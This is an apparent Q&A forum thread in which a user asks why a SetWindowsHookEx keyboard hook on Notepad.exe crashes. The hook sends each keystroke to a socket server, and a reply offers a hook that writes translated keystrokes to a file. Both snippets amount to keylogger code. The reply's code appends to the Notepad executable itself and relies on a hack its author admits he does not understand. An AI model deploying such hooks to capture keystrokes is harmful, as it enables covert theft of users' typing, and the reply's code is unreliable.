Dean Seo
Dean Seo

Reputation: 5683

Trying to hook Notepad.exe

I'm trying to keyboard-hook Notepad.exe by using SetWindowsHookEx.

As you see, the working thread is sending its ASCII code, which is wParam, to the designated server.

UINT WINAPI SendToServer(LPVOID lpParam)
{
    CSocket Client;

    Client.Create();

    Client.Connect("localhost", 6677);
    Client.Send(lpParam, 2); // sending its ASICI code to Server

    Client.Close();

    return 0;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR* p = nullptr;

    if( nCode >= 0 )
    {
        // bit 31 : 0 => press, 1 => release

        if( !(lParam & 0x80000000) )
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);
            p = strrchr(szPath, '\\');

            if( !_stricmp(p + 1, "Notepad.exe") )
            {
                unsigned ThreadID;
                g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

                return 0; 
            }
        }
    }

    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

The problem is, for some reason related to the new working thread, Notepad occurs a critical error(if I click the 'ignore' button several times, it kinda works though.)

I deleted this line below,

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

Then no error occurs from Notepad.exe

Any help would be very appreciated.

Thanks in advance.

Upvotes: 1

Views: 1915

Answers (1)

MethodMan
MethodMan

Reputation: 18843

Will this work for you..? Hard coded paths are used only for test purposes change the path to match where your NotePad.exe resides

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  ofstream fout;
  fout.open("c:\\NotePad.exe",ios::app);

    if (nCode < 0 || nCode != HC_ACTION)
   return CallNextHookEx(hkb, nCode, wParam, lParam);


    if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
  {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
        {
      if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ??
            {
        BYTE ks[256];
        GetKeyboardState(ks);

        WORD w;
        UINT scan=0;
        ToAscii(wParam,scan,ks,&w,0);
        fout<<char(w);
            }
        }
    }

     fout.close();

  return CallNextHookEx(hkb, nCode, wParam, lParam);
}

Upvotes: 2

Related Questions